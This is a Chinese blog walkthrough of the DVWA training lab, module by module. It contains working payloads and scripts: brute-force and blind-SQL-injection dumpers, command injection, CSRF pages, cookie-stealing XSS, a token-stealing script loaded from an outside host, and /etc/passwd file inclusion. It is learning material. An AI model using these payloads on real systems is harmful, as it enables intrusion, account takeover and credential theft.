DVWA练习

前言

粗略学习过http协议的相关内容,接下来就是刷靶场的环节了。DVWA涵盖了多种常见的web漏洞供我们练习,综合性较强。

Brute Force

low

根据题目的意思,这题的考点为暴力破解,那么我们将username设置为admin,接着使用burp suite的字典爆破功能爆破出密码就可以了。

或者我们查看源码发现,后端对password进行了md5加密,但是对username没有进行防御,因此我们在username部分进行sql注入也是可以的。

medium

这次在源码中username和password都使用了mysqli_real_escape_string()函数进行过滤,将一些特殊字符进行了转义,因此sql注入变得相当困难。

不过由于没有验证cookie等头文件,因此我们仍然可以进行字典爆破。

high

1
2
3
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

在high难度下加入了anti-csrf来随机获取token,并且在每一次登录时都要对token进行检查,因此直接进行字典爆破是无法解开这题的,这里我们对Intruder进行设置:

首先将请求头发送至Intruder中,设置好我们要进行爆破的内容为password与user_token,并且将攻击类型设置为Pitchfork。

接着在Options中找到Grep-Extract,选择Add,先点击一次Refetch response,接着再复制下面返回中的user_token的值,点击ok保存。

然后回到Payload,Payload set首先为1,设置我们要用来爆破的字典,再将Payload set设为2,选择Recursive grep,并进行设置:

设置完之后就可以进行攻击了,如果出现报错提醒可以去检查设置的线程是否为1,如果不为1则将线程改为1,最后效果:

当然这题通过编写python脚本也可以解出,但是由于这个脚本对我来说还是复杂了,就先贴一个网上的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from bs4 import BeautifulSoup
import requests

header={'Host':'127.0.0.1',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Referer':'http://127.0.0.1/vulnerabilities/brute/',
'cookie':'PHPSESSID=8p4kb7jc1df431lo6qe249quv2; security=high',
'Connection':'close',
'Upgrade-Insecure-Requests':'1'
}
requrl="http://127.0.0.1/vulnerabilities/brute/"

def get_token(requrl,header):
response=requests.get(url=requrl,headers=header)
print (response.status_code,len(response.content))
soup=BeautifulSoup(response.text,"html.parser")
input=soup.form.select("input[type='hidden']") #返回的是一个list列表
user_token=input[0]['value'] #获取用户的token
return user_token

user_token=get_token(requrl,header)
i=0
for line in open("E:\Password\mima.txt"):
requrl="http://127.0.0.1/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i=i+1
print (i , 'admin' ,line.strip(),end=" ")
user_token=get_token(requrl,header)
if(i==20):
break

impossible

impossible在High的基础上还设置了验证次数,当输入密码错误3次时必须等待15分钟后才能再次输入。因此,当对验证次数进行限制或者添加验证码等情况发生时,暴力破解的方法将被排除。

Command Injection

  • 在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改”charset=gb2312”,即可解决文字乱码问题。

在练习攻防世界时就有介绍过一些命令注入了。那我们还是先来回顾下linux的命令拼接符号:

  • A;B A不论正确与否都会执行B命令
  • A&B A后台运行;A和B同时执行
  • A&&B A执行成功时候才会执行B命令
  • A|B A执行的输出结果,作为B命令的参数,A不论正确与否都会执行B命令
  • A||B A 执行失败后才会执行B命令

low

low难度都是没有进行过滤的,因此我们可以直接构造各种命令进行注入,这里拿127.0.0.1&&whoami举例:

medium

在这个难度下过滤了&&;,不过由于本质上是黑名单机制,因此还是存在漏洞,我们只需要利用上面没有被过滤的命令拼接符号就可以了。
例如:127.0.0.1&whoami

high

这里的过滤就比较狠了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if( isset( $_POST[ 'Submit' ]  ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

我们可以看到这差不多是过滤干净了,不过这里我们发现在过滤|时真正过滤的是| ,这个后面是有一个空格的,因此,我们构造127.0.0.1|whoami就可以绕过了。

impossible

采用了白名单的写法,不仅加入了user_token进行认证,而且还检测被.分割的各个部分是否为数字,如果不为数字类型则返回error。在进行过滤的设置时,白名单的安全性还是比很名单要高很多的。

CSRF

low

我们修改密码后发现发送的是GET请求,URL如下:

1
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

因此我们可以直接构造一个URL,点击之后便可以直接修改密码:

1
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=mrl64&password_conf=mrl64&Change=Change#

当然在进行CSRF攻击时肯定不能如此直白地攻击,因此我们可以套一个短域名进行伪装,或者编写HTML代码,并将攻击用的URL藏匿起来。如果要编写HTML进行攻击的话,只要标签支持src都可以尝试进行藏匿,比较常用的有scirpt、iframe以及img:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<title>CSRF</title>
</head>
<body>
<img src="http://127.0.0.1/vulnerabilities/csrf/?password_new=mrl64&password_conf=mrl64&Change=Change#">

<!--<iframe src="http://127.0.0.1/vulnerabilities/csrf/?password_new=mrl64&password_conf=mrl64&Change=Change#" style="display:none;"></iframe>-->

<!--<script src="http://127.0.0.1/vulnerabilities/csrf/?password_new=mrl64&password_conf=mrl64&Change=Change#"></script>-->

</body>
</html>

medium

这个难度下多进行了一次Referer的比较判断:

1
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

spripos(string,find[,start]):从start位置开始查找find中string第一次出现的位置

因此我们需要对Referer的值进行校正,在本地环境下自然可以用burp suite工具抓包更改请求头,但是实战中不会有人好心帮你更改Referer的。因此我们需要构建表单来进行绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head>
<meta charset="utf-8">
<title>CSRF</title>
</head>
<body>

<form method="get" id="csrf" action="http://127.0.0.1/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="mrl64">
<input type="hidden" name="password_conf" value="mrl64">
<input type="hidden" name="Change" value="Change">
</form>
<script> document.forms["csrf"].submit(); </script>
</body>
</html>

这里用到了<script> document.forms["csrf"].submit(); </script>进行了对id为csrf表单的自动提交

最后让用户访问url并自动提交即可:

1
2
3
4
5
6
7
8
9
目录混淆法:将HTML页面放在127.0.0.1目录下,构建payload
http://www.mrl64.com/127.0.0.1/csrf.html

文件名混淆法:将HTML文件重命名为127.0.0.1,构建payload
http://www.mrl64.com/127.0.0.1.html

问号拼接法:由于HTML不接受参数,因此随便输入都可以绕过referer检测
http://www.mrl64.com/csrf.html?mrl64
……

high

这关增加了token检测,我们必须要获取用户的token才能进行攻击。如果我们能成功将HTML保存到跨域白名单上,自然直接通过构建组合式CSRF表单再访问就可以了。但这个前提是很难做到的,因此需要通过JS发起请求并配合XSS进行。

新建一个JS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 首先访问这个页面 来获取 token
var tokenUrl = 'http://127.0.0.1/vulnerabilities/csrf/';

if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}

var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
// 使用正则提取 token
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
// 发起 CSRF 请求 将 token 带入
var new_url = 'http://127.0.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new=111&password_conf=111&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();

写这个js要求还是挺高的,反正我现在写不出来,然后把这个js上传到服务器上,在DOM SXX的High中引入这个js:

1
http://127.0.0.1/vulnerabilities/xss_d/?default=English&a=</option></select><script src="http://www.xxxx.com/csrf.js"></script>

访问之后就改密成功了。

impossible

增加了验证初始密码的选项,这在现实中是非常常见的保护机制,同样还可以使用验证码等其他方式进行保护,在这些情况下CSRF攻击是无法发起的。

File Inclusion

low

经典文件包含题目,在low等级完全没有过滤的情况下,我们利用文件包含漏洞可以做许多的事:

  • 读取文件:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=/etc/passwd(linux限定)
  • 远程文件包含:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=www.baidu.com/robots.txt
  • 本地/远程文件包含Getshell
  • 伪协议使用:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
  • ……

medium

增加了对http://https://../..\的过滤,但是过滤的方法是使用str_replace()函数,而且没有区分大小写,因此双写过滤与大小写过滤均可使用。

例如:

1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=hthttptps://www.mrl64.com/csrf.html

high

1
2
3
4
5
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

这里要求匹配page参数的开头必须是file,否则执行exit结束程序,因此这里只能读取文件:

1
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///etc/passwd

impossible

无懈可击的白名单匹配,不愧是一生之敌。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

File Upload

low

刷了upload-labs做这个就是洒洒水啦。首先low难度下对文件后缀没有进行任何过滤,因此直接上传muma1.php(<?php phpinfo();?>)文件就可以了,并且返回了路径地址,因此直接访问。

medium

upload-labs前两关的难度,上传jpg后改为php或者上传php并修改Content-Type都可以绕过检测:

high

1
2
3
4
5
6
7
8
9
10
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

这里就只能上传图片了,因此我们要用到图片码,配合伪协议读取就行了。

impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

文件名随机、无法截断,无懈可击。

Insecure CAPTCHA

题目的意思是不安全的验证码,既然如此,就说明这题的验证码是可以被绕过的。如果在前端设计一个严密的、安全的验证码,将会阻止多种攻击方式的进行,但是如果像DVWA里这样不严密的话,绕过就是分分钟的事。

1
2
3
4
5
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']

);

DVWA中的验证码认证代码

由于验证码是谷歌的,如果没有魔法上网页面会刷新很久而且不会显示出验证码,不过这不影响解题,因为这题中的验证码就是拿来绕过的。

low

审计源码,发现后端将改密过程分为两个步骤,step1是验证验证码是否存在与正确,如果正确,则进入step2进行改密操作。不过由于没有任何验证参数,因此我们可以直接抓包更改step的值进行绕过:

ps.由于没有魔法上网因此这里没有验证码的认证参数

之后通过就可以改密成功了。

medium

1
2
3
4
5
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}

我们发现这个难度下在step2中以POST请求的方式加入了passed_captcha这个参数来验证我们是否进行了step1,不过如果我们知道了这个参数的名字,那么这层防护也将毫无意义,因为只要在抓包页面中补充这个参数就可以了:

high

查看源码,发现这次将分步操作改成了单步操作,并且加了一点骚操作进去:

1
2
3
4
5
6
7
8
9
10
11
12
13
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)

)

在程序中,只要验证码正确或者满足后面一个条件就可以进行改密操作。由于$resp是我们需要绕过的,因此我们的着手点就在后面那个条件。POST请求一个值为hidd3n_valu3的g-recaptcha-response,并且验证user_agent是否为reCAPTCH,那这也是直接抓包更改就好了:

impossible

移除了high难度中的可绕过参数判断,并且要求输入原密码,甚至针对CSRF使用了anti-CSRF token,这使得验证码的绕过几乎无解。

SQL Injection

这些题都可以通过sqlmap跑出来(

low

什么都没有过滤的sql注入,我们先测试发现注入方式为字符型GET注入,并且url最后会有一个&Submit=Submit#,构建payload时不要忘了。但是当我们写入联合注入时,发生了报错:

经过搜索发现是因为编码混乱导致的错误,因此在构建payload时我们将想要获取的数据以16进制的方式返回即可,构建payload(列数为2):

1
http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1' union select 1,hex(concat(table_name)) from information_schema.tables where table_schema=database()--+&Submit=Submit#

查完表名就是一条龙服务了,这里就不演示了。

medium

这次把注入方式换成了POST,但是还是没有做过滤,抓包更改POST就可以了,这次改成了数字型注入:

high

使用了session防止自动化攻击(实际上好像还是能用),但是在手工人面前这种没有过滤的注入毫无意义,直接抓包改包就可以了:

impossible

检测id是否为数字,并且进行预编译,防御拉满,毫无注入可能。

SQL Injection (Blind)

这些题都可以通过sqlmap跑出来(

low

GET类型的sql盲注题,而且没有做任何的过滤,但是由于DVWA的登录机制,因此写脚本时要记得写入cookie,这里用了二分法编写布尔盲注的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time

url = 'http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/'
head = {'Cookie':'security=low;PHPSESSID=c2fad3pjoio31n2i15243jrb2n'}
s = requests.Session()
flag = ''
for i in range(1, 500):
low = 32
high = 128
mid = (low + high) >> 1
while (low < high):
#查库
#payload = '?id=1\' and (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{})--+&Submit=Submit#'.format(i, mid)
#查表
#payload = '?id=1\' and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})--+&Submit=Submit#'.format(i, mid)
#查列
#payload = '?id=1\' and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\'dvwa\' and table_name=\'users\'),{},1))>{})--+&Submit=Submit#'.format(i, mid)
#查数据
payload = '?id=1\' and (ascii(substr((select group_concat(user,password) from users),{},1))>{})--+&Submit=Submit#'.format(i, mid)
time.sleep(0.05)
if "exists" in s.get(url+payload, headers=head).text:
low = mid + 1
else:
high = mid
mid = (low + high) >> 1
if (mid == 32 or mid == 127):
break
flag += chr(mid)
print(flag)

print(flag)

亲测,效果很好。

medium

这个难度下请求方式改为了POST,注入方式改为了数字型注入,并且利用了mysql_real_escape_string()函数使单引号被过滤掉了。但由于仍然没有过滤其他关键字,因此payload构建方式和low难度下的差别不大:

1
2
3
4
5
6
7
8
查库
payload = '?id=1 and (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{})--+&Submit=Submit#'.format(i, mid)
查表
payload = '?id=1 and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})--+&Submit=Submit#'.format(i, mid)
查列
payload = '?id=1 and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273),{},1))>{})--+&Submit=Submit#'.format(i, mid)
查数据
payload = '?id=1 and (ascii(substr((select group_concat(user,password) from users),{},1))>{})--+&Submit=Submit#'.format(i, mid)

善用def写脚本,所有问题都不是问题。

high

这个难度的提交页和结果页分离,最重要的是,服务器会随机执行sleep()函数,时间为2-4秒,因此这个难度下如果使用时间盲注的话效率较低,因此我们仍然选择布尔盲注。

当然仔细观察这个cookie,我们会发现id的值也写了进去,因此这题在写脚本时,要注意注入的是headers,payload与low中的一致,同样善用def解决一切。

impossible

预编译、检测id、token检测,和上一关一样无懈可击(

Weak Session IDs

关于Session的原理和功能之前的博客有进行过探讨,我们知道Session的核心功能是验证,如果对生成的Session没有无规律性与不可逆性,那么就极其容易被人伪造,造成严重后果。

low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
vulnerabilities/weak_id/source/low.php
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>

每次访问都仅对上一次的Session加1处理,如果这样处理Session的话很容易导致黑客通过遍历Session进行攻击。

medium

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>

使用时间戳来生成Session,确实提高了一定的安全性,但时间戳同样是有规律的,现在有很多的工具可以直接破解时间戳,因此时间戳来生成Session依然是不安全的。

high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

setcookie(name,value,expire,path,domain,secure,httponly)

  • name 必需。规定cookie的名称。
  • value 必需。规定cookie的值。
  • expire 可选。规定cookie的有效期。
  • path 可选。规定cookie的服务器路径。
  • domain 可选。规定cookie的域名。
  • secure 可选。规定是否通过安全的HTTPS连接来传cookie。
  • httponly 可选。规定是否Cookie仅可通过HTTP协议访问。

不仅使用到了加1,同时还使用md5进行加密,这种加密有了一定的不可逆性,但是还是能被破解的,因为仍然存在规律。

impossible

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

随机数、时间戳、sha1加密一起上,真正做到了无规律性与不可逆性。

DOM Based Cross Site Scripting (XSS)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<div class="vulnerable_code_area">

<p>Please choose a language:</p>

<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>

这就是这一关的html代码

low

这个难度下前后端都没有进行任何的过滤。html中的lang变量通过document.location.href来获取到,并且在解码后直接输出到option中。因此我们构建payload:

1
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English<script>alert(document.cookie)</script>

medium

添加了php后端过滤,查找<script字符串在default变量值中第一次出现的位置(不区分大小写),如果匹配则手动将defalut改成English。

这里我们就不能直接写入JS脚本了,这个难度下我们可以通过闭合标签来解决这个问题:

1
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English</option></select><img src=x onerror=alert(document.cookie)>

img标签中的src图片加载失败,原来的图片位置会出现一个碎片图标.可以借用img标签的onerror事件,img标签支持onerror 事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件。

这里同样可以使用其他类似的语句进行攻击,例如<iframe onload=alert(document.cookie)>等。

high

这个难度下后端对defalut的值进行了白名单匹配:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

但是这个白名单只检测了defalut的值,因此我们可以用&连接另一个自定义变量或者用#借助注释进行绕过:

1
2
3
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English&a=<script>alert(document.cookie)</script>

http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English #<script>alert(document.cookie)</script>

impossible

我们在URL中注入的语句直接不解码了,那这不管怎样肯定都无法注入了。

Reflected Cross Site Scripting (XSS)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<div class="body_padded">
<h1>Vulnerability: Reflected Cross Site Scripting (XSS)</h1>

<div class="vulnerable_code_area">
<form name="XSS" action="#" method="GET">
<p>
What's your name?
<input type="text" name="name">
<input type="submit" value="Submit">
</p>

</form>
<pre>Hello 1111</pre>
</div>

这是本关的html代码

low

后端并没有对输入进行过滤,仅仅检测了name的值是否存在。因此我们直接写入恶意JS脚本就可以了。

1
<script>alert(document.cookie)</script>

medium

这关的后端对<script>进行了过滤,但是由于用的是str_replace函数且没有区分大小写,因此这里可以直接使用大小写以及双写绕过,同样对上一关medium难度下几个方法也同样适用:

1
2
3
4
5
<scr<script>ipt>alert(document.cookie)</script>
<ScRiPt>alert(document.cookie)</script>
<img src=x onerror=alert(document.cookie)>
<iframe onload=alert(document.cookie)>
……

high

这次后端的对<script>过滤的过滤更加严格,大小写和双写都无法成功绕过。不过既然绕不过就没必要绕过了,不用到<script>就可以了:

1
2
3
<img src=x onerror=alert(document.cookie)>
<iframe onload=alert(document.cookie)>
……

impossible

name变量通过htmlspecialchars()函数被HTML实体化后输出在了<pre>标签中,这个情况并没有什么绕过方法。

Stored Cross Site Scripting (XSS)

由于是储存型XSS,所以要记得在注入后及时删除,不然会影响后面难度的注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<div class="body_padded">
<h1>Vulnerability: Stored Cross Site Scripting (XSS)</h1>

<div class="vulnerable_code_area">
<form method="post" name="guestform" ">
<table width="550" border="0" cellpadding="2" cellspacing="1">
<tr>
<td width="100">Name *</td>
<td><input name="txtName" type="text" size="30" maxlength="10"></td>
</tr>
<tr>
<td width="100">Message *</td>
<td><textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea></td>
</tr>
<tr>
<td width="100">&nbsp;</td>
<td>
<input name="btnSign" type="submit" value="Sign Guestbook" onclick="return validateGuestbookForm(this.form);" />
<input name="btnClear" type="submit" value="Clear Guestbook" onClick="return confirmClearGuestbook();" />
</td>
</tr>
</table>

</form>

</div>

这是这关的html源码

low

这个页面看起来就很像留言板了,后端也是没有什么过滤,因此我们可以在massage中写入恶意JS脚本:

medium

依然是不严格的str_replace(),而且这次的注入点在name中,嵌套、大小写、标签等方法就可以绕过,但是写入JS时发现字符长度被限制了,那就要通过bp抓包来进行注入了:

high

注入点依然是在name中,并且对<script>进行了严格过滤,依然有字符限制,那么依然是抓包进行注入,使用标签就可以了:

impossible

对name和massage都进行了过滤,并且设置了token进行验证,同时有效防止了XSS和CSRF。

Content Security Policy (CSP) Bypass

CSP简单理解就是白名单,是浏览器的安全策略。如果标签或服务器中返回的HTTP头中有Content-Security-Policy标签,浏览器就会根据其判断哪些网页资源可以被解析执行。CSP极大提升了网页的安全性,针对XSS起到了极大作用。
关于这一关的具体原理等方面,可以参考下面这些博客:
Content Security Policy 入门教程
CSP策略与绕过

low

查看后端php或者html头都可以发现允许包含的url为selfpastebin.comhastebin.comjquerygoogle analytics。我们依次访问(需要魔法上网)可以发现其中pastebin.com是一个文本分享的网站,我们可以通过在该网站写入一个恶意JS脚本,再通过靶场的包含将JS包含进去。

写入并创建恶意JS脚本,然后点击raw生成url:

最后回到DVWA将链接写入,点击include即可,不过由于这个网站服务器在美国,因此可能由于网络问题无法弹出弹窗。

medium

查看后端代码,发现这样一行:

1
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

这里面没有可以类似于上一难度中可以直接包含的网页,但是有一个关键:nonce

script-src是可以设置一些特殊值的:

  • unsafe-inline:允许执行页面内嵌的<script>标签和事件监听函数
  • unsafe-eval:允许将字符串当作代码执行,比如使用eval、setTimeout、setInterval和Function等函数。
  • nonce:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个 token,才会执行
  • hash:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。
    ps.nonce值和hash值还可以用在style-src选项,控制页面内嵌的样式表

先举一个运用到hash的例子:
服务器给出一个允许执行代码的hash值

1
Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng='

这样下面这个代码就会被允许执行,因为hash值相同(不包括<script>标签)

1
<script>alert('Hello, world.');</script>

回到题目,这里使用了unsafe-inlinenonce,因此页面内嵌脚本,且必须有token才能执行,因此我们构建JS:

1
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(document.cookie)</script>

high

后端php的CSP在这里只允许self,即本页加载的脚本运行。我们点击Slove the Sum按钮,发现html中多出来了一行:

1
<script src="source/jsonp.php?callback=solveSum"></script>

说明这里触发了JS,我们查看后端JS会发现有一个high.js文件,我们把这个文件和html中的部分代码结合起来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//high.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}

function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}

var solve_button = document.getElementById ("solve");

if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}


//html
<form name="csp" method="POST">
<p>The page makes a call to ../..//vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>

<script src="source/high.js"></script>

当按下按钮后,触发id="slove",即触发click事件使得clickButton()执行,使得一个新的<script>标签作为<body>中的子元素写入,内容是src = "source/jsonp.php?callback=solveSum",因此我们会发现html中多出了一行:

这样浏览器就会发起请求:

1
http://127.0.0.1/vulnerabilities/csp/source/jsonp.php?callback=solveSum

我们来访问一下这个url:

浏览器收到请求过后收到answer值,这个值通过solveSum()返回到页面中,得到了15.

那么了解到整个原理之后,我们就可以开始思考注入方式了。我们知道当callback=solveSum时触发了这个函数,那么我们是不是可以自己写入一点东西进去,例如:

1
?callback=alert(documemt.cookie)

我们发现这样JS就被写入了,但是我们应该如何注入呢,我们发现后端php中有这么一行:

1
2
3
4
5
6
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}

POST提交的include参数会包含到<body>中,居然还有这种好事:

成功。

impossible

后端php限制了输出,这意味着只能回调JS中的solveSum(),相当于直接将JSONP限制死了,因此不存在注入可能。

JavaScript Attacks

low

直接输入success进去,发现提示我们token不匹配。我们使用burp suite抓包查看请求头文件:

我们发现根据这个头的内容猜测,后端逻辑应该是验证token和phrase是否匹配,且如果phrase的值为success,则返回过关提示,否则返回错误原因,那么我们怎么知道token与phrase之间的关系呢?再看看源码发现这样几行:

1
2
3
4
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}

phrase的值先进行rot13编码,再进行md5加密得到token值,那么我们就有办法获取到token了:

最后更改POST的内容:

medium

查看medium.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
function do_something(e){
for(var t="",n=e.length-1;n>=0;n--)
t+=e[n];
return t
}

setTimeout(function(){
do_elsesomething("XX")
},300);

function do_elsesomething(e){
document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")
}

不难看出这里将phrase倒序输出后在前两位与后两位补上了XX作为token,通过抓包我们也可以明显发现这个规律:

1
token=XXeMegnahCXX&phrase=ChangeMe&send=Submit

